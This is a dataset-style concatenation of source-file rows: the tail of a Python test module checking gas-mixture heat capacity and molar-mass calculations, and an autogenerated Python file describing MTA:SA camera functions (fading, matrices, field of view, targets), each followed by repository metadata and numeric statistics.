').values[:, 1] molar_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'molar_mass.txt'), header=None, sep=' ').values[0] components_capacity = np.concatenate([[cap_ch4], [cap_n2], [cap_co2], [cap_c2h6]]) components_molar_proportions = np.array([.85, .103, .013, .034]) components_molar_mass = np.concatenate([molar_ch4, molar_n2, molar_co2, molar_c2h6]) components_mass_proportions = calculate_mass_fraction_from_molar_fraction( components_molar_proportions, components_molar_mass) mix_cap = calculate_mixture_heat_capacity(components_capacity, components_mass_proportions) assert np.allclose(mix_cap, test_mix_capacity, rtol=0, atol=1e-10) mix_cap = calculate_mixture_heat_capacity(components_capacity[:, 0], components_mass_proportions) assert np.allclose(mix_cap, test_mix_capacity[0], rtol=0, atol=1e-10) def test_mixture_heat_capacity_hgas(): test_mix_capacity = pd.read_csv(os.path.join(pp_dir, 'properties', 'hgas', 'heat_capacity.txt'), header=None, sep=' ').values[:, 1] cap_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'heat_capacity.txt'), header=None, sep=' ').values[:, 1] cap_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'heat_capacity.txt'), header=None, sep=' ').values[:, 1] cap_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'heat_capacity.txt'), header=None, sep=' ').values[:, 1] cap_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'heat_capacity.txt'), header=None, sep=' ').values[:, 1] molar_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'molar_mass.txt'), header=None, sep=' ').values[0] components_capacity = np.concatenate([[cap_ch4], [cap_n2], [cap_co2], [cap_c2h6]]) components_molar_proportions = np.array([.964, .005, .005, .026]) components_molar_mass = np.concatenate([molar_ch4, molar_n2, molar_co2, molar_c2h6]) components_mass_proportions = calculate_mass_fraction_from_molar_fraction( components_molar_proportions, components_molar_mass) mix_cap = calculate_mixture_heat_capacity(components_capacity, components_mass_proportions) assert np.allclose(mix_cap, test_mix_capacity, rtol=0, atol=1e-10) def test_mixture_molar_mass_lgas(): test_mix_molar = pd.read_csv(os.path.join(pp_dir, 'properties', 'lgas', 'molar_mass.txt'), header=None, sep=' ').values molar_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'molar_mass.txt'), header=None, sep=' ').values[0] components_molar_mass = np.concatenate([molar_ch4, molar_n2, molar_co2, molar_c2h6]) components_molar_proportions = np.array([.85, .103, .013, .034]) mix_molar = calculate_mixture_molar_mass( components_molar_mass=components_molar_mass, components_molar_proportions=components_molar_proportions) assert (mix_molar == test_mix_molar) components_mass_proportions = calculate_mass_fraction_from_molar_fraction( components_molar_proportions, components_molar_mass) mix_molar = calculate_mixture_molar_mass( components_molar_mass=components_molar_mass, components_mass_proportions=components_mass_proportions) assert (mix_molar == test_mix_molar) def test_mixture_molar_mass_hgas(): test_mix_molar = pd.read_csv(os.path.join(pp_dir, 'properties', 'hgas', 'molar_mass.txt'), header=None, sep=' ').values molar_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'molar_mass.txt'), header=None, sep=' ').values[0] components_molar_mass = np.concatenate([molar_ch4, molar_n2, molar_co2, molar_c2h6]) components_molar_proportions = np.array([.964, .005, .005, .026]) mix_molar = calculate_mixture_molar_mass( components_molar_mass=components_molar_mass, components_molar_proportions=components_molar_proportions) assert (mix_molar == test_mix_molar) def save_results(results, path): temp = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'viscosity.txt'), header=None, sep=' ') results = pd.DataFrame(results, index=temp[0].astype(int)) results.to_csv(path, header=None, sep=' ')
61.263359
100
0.63292
2,054
16,051
4.662123
0.055501
0.034461
0.089599
0.074666
0.939745
0.936717
0.932749
0.919069
0.907686
0.901525
0
0.027036
0.221108
16,051
261
101
61.498084
0.738922
0.01408
0
0.826484
0
0
0.133746
0
0
0
0
0
0.054795
1
0.041096
false
0
0.022831
0
0.063927
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
304c19573b2f8a9f7fbdf88488b3965c62470d1a
64,426
py
Python
oops/camera_functions.py
mtasa-typescript/mtasa-wiki-dump
edea1746850fb6c99d6155d1d7891e2cceb33a5c
[ "MIT" ]
null
null
null
oops/camera_functions.py
mtasa-typescript/mtasa-wiki-dump
edea1746850fb6c99d6155d1d7891e2cceb33a5c
[ "MIT" ]
1
2021-02-24T21:50:18.000Z
2021-02-24T21:50:18.000Z
oops/camera_functions.py
mtasa-typescript/mtasa-wiki-dump
edea1746850fb6c99d6155d1d7891e2cceb33a5c
[ "MIT" ]
null
null
null
# Autogenerated file. ANY CHANGES WILL BE OVERWRITTEN from to_python.core.types import FunctionType, \ FunctionArgument, \ FunctionArgumentValues, \ FunctionReturnTypes, \ FunctionSignature, \ FunctionDoc, \ FunctionOOP, \ FunctionOOPField, \ CompoundOOPData, \ FunctionData, \ CompoundFunctionData DUMP_PARTIAL = [ CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="fadeCamera", class_name='player', method=FunctionData( signature=FunctionSignature( name='fadeCamera', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='thePlayer', argument_type=FunctionType( names=['player'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='fadeIn', argument_type=FunctionType( names=['bool'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='timeToFade', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value='1.0', ) ], [ FunctionArgument( name='red', argument_type=FunctionType( names=['int'], is_optional=True, ), default_value='0', ) ], [ FunctionArgument( name='green', argument_type=FunctionType( names=['int'], is_optional=True, ), default_value='0', ) ], [ FunctionArgument( name='blue', argument_type=FunctionType( names=['int'], is_optional=True, ), default_value='0', ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function will fade a players camera to a color or back to normal over a specified time period. This will also affect the sound volume for the player (50% faded = 50% volume, full fade = no sound). For clientside scripts you can perform 2 fade ins or fade outs in a row, but for serverside scripts you must use one then the other.' , arguments={ "thePlayer": """The player whose camera you wish to fade. """, "fadeIn": """Should the camera be faded in or out? Pass true to fade the camera in, false to fade it out to a color. """, "timeToFade": """The number of seconds it should take to fade. """, "red": """The amount of red in the color that the camera fades out to (0 - 255). Not required for fading in. """, "green": """The amount of green in the color that the camera fades out to (0 - 255). Not required for fading in. """, "blue": """The amount of blue in the color that the camera fades out to (0 - 255). Not required for fading in. """ }, result='' , ), url='fadeCamera', ), field=None, is_static=False, ) ], client=[ FunctionOOP( description=None, base_function_name="fadeCamera", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='fade', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='fadeIn', argument_type=FunctionType( names=['bool'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='timeToFade', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value='1.0', ) ], [ FunctionArgument( name='red', argument_type=FunctionType( names=['int'], is_optional=True, ), default_value='0', ) ], [ FunctionArgument( name='green', argument_type=FunctionType( names=['int'], is_optional=True, ), default_value='0', ) ], [ FunctionArgument( name='blue', argument_type=FunctionType( names=['int'], is_optional=True, ), default_value='0', ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function will fade a players camera to a color or back to normal over a specified time period. This will also affect the sound volume for the player (50% faded = 50% volume, full fade = no sound). For clientside scripts you can perform 2 fade ins or fade outs in a row, but for serverside scripts you must use one then the other.' , arguments={ "fadeIn": """Should the camera be faded in our out? Pass true to fade the camera in, false to fade it out to a color. """, "timeToFade": """The number of seconds it should take to fade. """, "red": """The amount of red in the color that the camera fades out to (0 - 255). Not required for fading in. """, "green": """The amount of green in the color that the camera fades out to (0 - 255). Not required for fading in. """, "blue": """The amount of blue in the color that the camera fades out to (0 - 255). Not required for fading in. """ }, result='' , ), url='fadeCamera', ), field=None, is_static=True, ) ], ), CompoundOOPData( server=[ ], client=[ ], ), CompoundOOPData( server=[ ], client=[ FunctionOOP( description=None, base_function_name="getCameraClip", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='getClip', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ), FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='' , arguments={ }, result='*objects: if you want the camera to clip on objects.\n*vehicles: if you want the camera to clip on vehicles.' , ), url='getCameraClip', ), field=None, is_static=True, ) ], ), CompoundOOPData( server=[ ], client=[ FunctionOOP( description=None, base_function_name="getCameraFieldOfView", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='getFieldOfView', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['float'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='cameraMode', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='' , arguments={ "cameraMode": """the camera mode to get the field of view of ** "player": whilst walking/running ** "vehicle": whilst in vehicle ** "vehicle_max": the max the field of view can go to when the vehicle is moving at a high speed (must be higher than "vehicle") """ }, result='returns one float - the field of view angle' , ), url='getCameraFieldOfView', ), field=FunctionOOPField( name='fov', types=[ FunctionType( names=['float'], is_optional=False, ) ], ), is_static=True, ) ], ), CompoundOOPData( server=[ ], client=[ FunctionOOP( description=None, base_function_name="getCameraGoggleEffect", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='getGoggleEffect', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['string'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function returns what goggle effect is currently affecting the camera.' , arguments={ }, result='* string indicating the current camera goggle effect. their meanings can be seen below.' , ), url='getCameraGoggleEffect', ), field=FunctionOOPField( name='goggleEffect', types=[ FunctionType( names=['string'], is_optional=False, ) ], ), is_static=True, ) ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getCameraInterior", class_name='player', method=FunctionData( signature=FunctionSignature( name='getCameraInterior', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['int'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='thePlayer', argument_type=FunctionType( names=['player'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='Returns the interior of the local camera (independent of the interior of the local player).' , arguments={ "thePlayer": """: The player whose camera interior you want to get. """ }, result='' , ), url='getCameraInterior', ), field=FunctionOOPField( name='cameraInterior', types=[ FunctionType( names=['int'], is_optional=False, ) ], ), is_static=False, ) ], client=[ FunctionOOP( description=None, base_function_name="getCameraInterior", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='getInterior', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['int'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='Returns the interior of the local camera (independent of the interior of the local player).' , arguments={ }, result='' , ), url='getCameraInterior', ), field=FunctionOOPField( name='interior', types=[ FunctionType( names=['int'], is_optional=False, ) ], ), is_static=True, ) ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getCameraMatrix", class_name='player', method=FunctionData( signature=FunctionSignature( name='getCameraMatrix', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='thePlayer', argument_type=FunctionType( names=['player'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function gets the position of the camera and the position of the point it is facing.' , arguments={ "thePlayer": """The player whose camera matrix is to be returned. """ }, result='' , ), url='getCameraMatrix', ), field=FunctionOOPField( name='cameraMatrix', types=[ FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ) ], ), is_static=False, ) ], client=[ FunctionOOP( description=None, base_function_name="getCameraMatrix", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='getMatrix', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function gets the position of the camera and the position of the point it is facing.' , arguments={ }, result='' , ), url='getCameraMatrix', ), field=FunctionOOPField( name='matrix', types=[ FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ), FunctionType( names=['float'], is_optional=False, ) ], ), is_static=True, ) ], ), CompoundOOPData( server=[ ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getCameraTarget", class_name='player', method=FunctionData( signature=FunctionSignature( name='getCameraTarget', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['element'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='thePlayer', argument_type=FunctionType( names=['player'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function returns an element that corresponds to the current target of the specified players camera (i.e. what it is following).' , arguments={ "thePlayer": """The player whose camera you wish to receive the target of. """ }, result='' , ), url='getCameraTarget', ), field=FunctionOOPField( name='cameraTarget', types=[ FunctionType( names=['element'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ ], client=[ FunctionOOP( description=None, base_function_name="getCameraViewMode", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='getCameraViewMode', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['int'], is_optional=False, ), FunctionType( names=['int'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function allows you to get the active camera view modes. This indicates at what distance the camera will follow the player or vehicle.' , arguments={ }, result='' , ), url='getCameraViewMode', ), field=FunctionOOPField( name='viewMode', types=[ FunctionType( names=['int'], is_optional=False, ), FunctionType( names=['int'], is_optional=False, ) ], ), is_static=True, ) ], ), CompoundOOPData( server=[ ], client=[ FunctionOOP( description=None, base_function_name="setCameraClip", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='setClip', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='objects', argument_type=FunctionType( names=['bool'], is_optional=True, ), default_value='true', ) ], [ FunctionArgument( name='vehicles', argument_type=FunctionType( names=['bool'], is_optional=True, ), default_value='true', ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function sets if the camera will collide with any objects or vehicles in its way. This means that if object clip is enabled an object is in the way of where the camera actually wants to be, the camera will try to be in front of it. This function can disable that.' , arguments={ "objects": """Sets if you want the camera to clip on objects. """, "vehicles": """Sets if you want the camera to clip on vehicles. """ }, result='always returns true.' , ), url='setCameraClip', ), field=None, is_static=True, ) ], ), CompoundOOPData( server=[ ], client=[ FunctionOOP( description=None, base_function_name="setCameraFieldOfView", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='setFieldOfView', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='cameraMode', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='fieldOfView', argument_type=FunctionType( names=['float'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='' , arguments={ "cameraMode": """the camera mode to get the field of view of ** "player": whilst walking/running ** "vehicle": whilst in vehicle ** "vehicle_max": the max the field of view can go to when the vehicle is moving at a high speed (must be higher than "vehicle") """, "fieldOfView": """The field of view angle, 0 to 179. """ }, result='returns true if the arguments are valid, false otherwise.' , ), url='setCameraFieldOfView', ), field=None, is_static=True, ) ], ), CompoundOOPData( server=[ ], client=[ FunctionOOP( description=None, base_function_name="setCameraGoggleEffect", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='setGoggleEffect', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='goggleEffect', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='noiseEnabled', argument_type=FunctionType( names=['bool'], is_optional=True, ), default_value='true', ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function allows you to set the cameras current goggle effect. This means you can activate nightvision or infrared effects by script' , arguments={ "goggleEffect": """: the goggle effect you wish to set """, "noiseEnabled": """: whether or not there should be a fuzzy noise effect """ }, result='* true if the effect was set correctly.\n* false otherwise.' , ), url='setCameraGoggleEffect', ), field=FunctionOOPField( name='goggleEffect', types=[ FunctionType( names=['bool'], is_optional=False, ) ], ), is_static=True, ) ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="setCameraInterior", class_name='player', method=FunctionData( signature=FunctionSignature( name='setCameraInterior', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='thePlayer', argument_type=FunctionType( names=['player'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='interior', argument_type=FunctionType( names=['int'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='Sets the interior of the local camera. Only the interior of the camera is changed, the local player stays in the interior he was in.' , arguments={ "thePlayer": """the player whose camera interior will be set. """, "interior": """the interior to place the camera in. """ }, result='' , ), url='setCameraInterior', ), field=FunctionOOPField( name='cameraInterior', types=[ FunctionType( names=['bool'], is_optional=False, ) ], ), is_static=False, ) ], client=[ FunctionOOP( description=None, base_function_name="setCameraInterior", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='setInterior', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='interior', argument_type=FunctionType( names=['int'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='Sets the interior of the local camera. Only the interior of the camera is changed, the local player stays in the interior he was in.' , arguments={ "interior": """the interior to place the camera in. """ }, result='' , ), url='setCameraInterior', ), field=FunctionOOPField( name='interior', types=[ FunctionType( names=['bool'], is_optional=False, ) ], ), is_static=True, ) ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="setCameraMatrix", class_name='player', method=FunctionData( signature=FunctionSignature( name='setCameraMatrix', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='thePlayer', argument_type=FunctionType( names=['player'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='positionX', argument_type=FunctionType( names=['float'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='positionY', argument_type=FunctionType( names=['float'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='positionZ', argument_type=FunctionType( names=['float'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='lookAtX', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value=None, ) ], [ FunctionArgument( name='lookAtY', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value=None, ) ], [ FunctionArgument( name='lookAtZ', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value=None, ) ], [ FunctionArgument( name='roll', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value='0', ) ], [ FunctionArgument( name='fov', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value='70', ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function sets the cameras position and direction. The first three arguments are the point at which the camera lies, the last three are the point the camera faces (or the point it looks at).' , arguments={ "thePlayer": """The player whose camera is to be changed. """, "positionX": """The x coordinate of the cameras position. """, "positionY": """The y coordinate of the cameras position. """, "positionZ": """The z coordinate of the cameras position. """, "{{New feature/item|3.0141|1.4.1|7005|Instead of six coordinates, or two vectors, a Matrix can be supplied.}}": """ """, "lookAtX": """The x coordinate of the point the camera faces. """, "lookAtY": """The y coordinate of the point the camera faces. """, "lookAtZ": """The z coordinate of the point the camera faces. """, "roll": """The camera roll angle, -180 to 180. A value of 0 means the camera sits straight, positive values will turn it counter-clockwise and negative values will turn it clockwise. -180 or 180 means the camera is upside down. """, "fov": """the field of view angle, 0.01 to 180. The higher this value is, the more you will be able to see what is to your sides. """ }, result='' , ), url='setCameraMatrix', ), field=FunctionOOPField( name='cameraMatrix', types=[ FunctionType( names=['bool'], is_optional=False, ) ], ), is_static=False, ) ], client=[ FunctionOOP( description="""This is under the static class '''Camera'''""", base_function_name="setCameraMatrix", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='setMatrix', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='positionX', argument_type=FunctionType( names=['float'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='positionY', argument_type=FunctionType( names=['float'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='positionZ', argument_type=FunctionType( names=['float'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='lookAtX', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value=None, ) ], [ FunctionArgument( name='lookAtY', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value=None, ) ], [ FunctionArgument( name='lookAtZ', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value=None, ) ], [ FunctionArgument( name='roll', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value='0', ) ], [ FunctionArgument( name='fov', argument_type=FunctionType( names=['float'], is_optional=True, ), default_value='70', ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function sets the cameras position and direction. The first three arguments are the point at which the camera lies, the last three are the point the camera faces (or the point it looks at).' , arguments={ "positionX": """The x coordinate of the cameras position. """, "positionY": """The y coordinate of the cameras position. """, "positionZ": """The z coordinate of the cameras position. """, "{{New feature/item|3.0141|1.4.1|7005|Instead of six coordinates, or two vectors, a Matrix can be supplied.}}": """ """, "lookAtX": """The x coordinate of the point the camera faces. """, "lookAtY": """The y coordinate of the point the camera faces. """, "lookAtZ": """The z coordinate of the point the camera faces. """, "roll": """The camera roll angle, -180 to 180. A value of 0 means the camera sits straight, positive values will turn it counter-clockwise and negative values will turn it clockwise. -180 or 180 means the camera is upside down. """, "fov": """the field of view angle, 0.01 to 180. The higher this value is, the more you will be able to see what is to your sides. """ }, result='' , ), url='setCameraMatrix', ), field=FunctionOOPField( name='matrix', types=[ FunctionType( names=['bool'], is_optional=False, ) ], ), is_static=True, ) ], ), CompoundOOPData( server=[ ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="setCameraTarget", class_name='player', method=FunctionData( signature=FunctionSignature( name='setCameraTarget', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='thePlayer', argument_type=FunctionType( names=['player'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='target', argument_type=FunctionType( names=['player'], is_optional=True, ), default_value='nil', ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function allows you to set a players camera to follow other elements instead. Currently supported element type is:\n*Players' , arguments={ "thePlayer": """The player whose camera you wish to modify. """, "target": """The player who you want the camera to follow. If none is specified, the camera will target the player. """ }, result='' , ), url='setCameraTarget', ), field=FunctionOOPField( name='cameraTarget', types=[ FunctionType( names=['bool'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ ], client=[ FunctionOOP( description=None, base_function_name="setCameraViewMode", class_name='Camera', method=FunctionData( signature=FunctionSignature( name='setCameraViewMode', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='vehicleCameraMode', argument_type=FunctionType( names=['int'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='pedCameraMode', argument_type=FunctionType( names=['int'], is_optional=True, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function allows you to set the camera view modes. This indicates at what distance the camera will follow the player or vehicle.' , arguments={ "vehicleCameraMode": """: The view mode you wish to use when inside vehicles. """, "pedCameraMode": """: The view mode you wish to use when you are not inside vehicles. """ }, result='returns true if the view(s) were set correctly, false otherwise.' , ), url='setCameraViewMode', ), field=FunctionOOPField( name='viewMode', types=[ FunctionType( names=['bool'], is_optional=False, ) ], ), is_static=True, ) ], ) ]
39.842919
366
0.321454
3,347
64,426
6.072602
0.095309
0.092841
0.064945
0.062583
0.891365
0.886593
0.875572
0.837983
0.773629
0.746814
0
0.004641
0.612067
64,426
1,616
367
39.867574
0.808586
0.000792
0
0.82398
1
0.019133
0.143663
0.002486
0
0
0
0
0
1
0
false
0.001276
0.000638
0
0.000638
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
063c33704d8f22eea2f93636b826304f7576526d
130,787
py
Python
smsp/smsp_itk.py
elementechemlyn/pysmsp
a6ddea5068bfc67dbeb94d73a9290f12ec726d46
[ "MIT" ]
null
null
null
smsp/smsp_itk.py
elementechemlyn/pysmsp
a6ddea5068bfc67dbeb94d73a9290f12ec726d46
[ "MIT" ]
null
null
null
smsp/smsp_itk.py
elementechemlyn/pysmsp
a6ddea5068bfc67dbeb94d73a9290f12ec726d46
[ "MIT" ]
null
null
null
